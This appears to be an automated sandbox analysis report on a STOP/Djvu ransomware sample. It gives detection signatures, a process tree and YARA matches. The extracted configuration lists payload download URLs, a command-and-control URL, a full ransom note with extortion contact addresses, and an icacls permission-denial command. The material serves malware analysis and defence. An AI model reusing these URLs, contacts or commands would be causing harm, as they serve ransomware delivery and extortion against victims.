Edit tour

Windows Analysis Report
E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Overview

General Information

Sample name:	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
Analysis ID:	1482672
MD5:	a462cc4bbcfc709d15c578f9eaa6c09f
SHA1:	2f541d1d12d46b5e7ffc344d350ffb2acdc9c539
SHA256:	a77599bea195b9f858ce2d25943da1eb6552ceb843ec8af67a41ef2c7e17e7db
Tags:	exeStop
Infos:

Detection

Babuk, Bdaejec, Djvu, Zorab

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Found ransom note / readme

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Babuk Ransomware

Yara detected Bdaejec

Yara detected Djvu Ransomware

Yara detected Zorab Ransomware

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

PE file contains section with special chars

PE file has a writeable .text section

Tries to harvest and steal browser information (history, passwords, etc)

Uses known network protocols on non-standard ports

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara signature match

Classification

Process Tree

System is w10x64

E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe (PID: 7816 cmdline: "C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" MD5: A462CC4BBCFC709D15C578F9EAA6C09F)

lvAVrO.exe (PID: 7840 cmdline: C:\Users\user\AppData\Local\Temp\lvAVrO.exe MD5: F7D21DE5C4E81341ECCD280C11DDCC9A)

WerFault.exe (PID: 5860 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7840 -s 1560 MD5: C31336C1EFC2CCB44B4326EA793040F2)

E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe (PID: 8012 cmdline: "C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" MD5: A462CC4BBCFC709D15C578F9EAA6C09F)

icacls.exe (PID: 8056 cmdline: icacls "C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe (PID: 8084 cmdline: "C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --Admin IsNotAutoStart IsNotTask MD5: A462CC4BBCFC709D15C578F9EAA6C09F)

E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe (PID: 8112 cmdline: "C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --Admin IsNotAutoStart IsNotTask MD5: A462CC4BBCFC709D15C578F9EAA6C09F)

E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe (PID: 8104 cmdline: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe --Task MD5: A462CC4BBCFC709D15C578F9EAA6C09F)

E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe (PID: 8168 cmdline: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe --Task MD5: A462CC4BBCFC709D15C578F9EAA6C09F)

E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe (PID: 3276 cmdline: "C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --AutoStart MD5: A462CC4BBCFC709D15C578F9EAA6C09F)

lvAVrO.exe (PID: 7824 cmdline: C:\Users\user\AppData\Local\Temp\lvAVrO.exe MD5: F7D21DE5C4E81341ECCD280C11DDCC9A)

cmd.exe (PID: 5832 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\74ef2ae8.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe (PID: 8044 cmdline: "C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --AutoStart MD5: A462CC4BBCFC709D15C578F9EAA6C09F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://zerit.top/dl/build2.exe", "http://fuyt.org/files/1/build3.exe"], "C2 url": "http://fuyt.org/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-NdDG3HIUZp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@sysmail.ch\r\n\r\nReserve e-mail address to contact us:\r\nsupportsys@airmail.cc\r\n\r\nYour personal ID:\r\n0425Jsfkjn", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArGGHSIReD5SZWt2Y24Jb\\\\n\\/OJzG8zcoErv0h105BXFBabk95nZT\\/wQpplVzu+v7ZTXdl3xSBH1GzqAh9epyzHm\\\\nS6tN\\/cpzi69NM585EzjGu1nInIYNy1AJ1C\\/m+tycy9M2UPdFznknzcuL\\/nYXhgjf\\\\nyclwhqed8ThmhDq8u5zVodb+IPNSZYPP5HUvTYUuCYDy6htq04Jmrml\\/UZkzdSwZ\\\\nMk4b+WKc\\/aWllJ\\/Bu5h394Kif6QWBVXWAzjF06Pb2HJ2PHFM4ZF56W9lDjmx7uGB\\\\nMlq1xpN4q\\/MzdW4kktCDEkrl50YvX9yzR68TXR3RPxfTz4EPGX4uI0BWHp8pOoeO\\\\n1wIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.1341092926.0000000002204000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000008.00000002.2536137038.0000000000756000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000009.00000002.2536135899.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000E.00000002.1453140675.00000000022F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000E.00000002.1453140675.00000000022F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000007.00000002.1368339677.00000000021A4000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000E.00000002.1453085219.0000000002252000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1312843484.00000000021D9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 7816	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 7816	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3e122:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: lvAVrO.exe PID: 7840	JoeSecurity_Bdaejec	Yara detected Bdaejec	Joe Security
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8012	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8012	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x59f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8084	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8084	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x5614c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8104	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8104	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3fbdd:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8112	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8112	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8112	JoeSecurity_Zorab	Yara detected Zorab Ransomware	Joe Security
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8112	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xa4193:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8168	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8168	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8168	JoeSecurity_Zorab	Yara detected Zorab Ransomware	Joe Security
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8168	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4b289:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 3276	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 3276	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x37ea7:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: lvAVrO.exe PID: 7824	JoeSecurity_Bdaejec	Yara detected Bdaejec	Joe Security
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8044	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8044	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x395c6:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 43 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22a15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22615a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22a15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
7.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22615a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22a15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
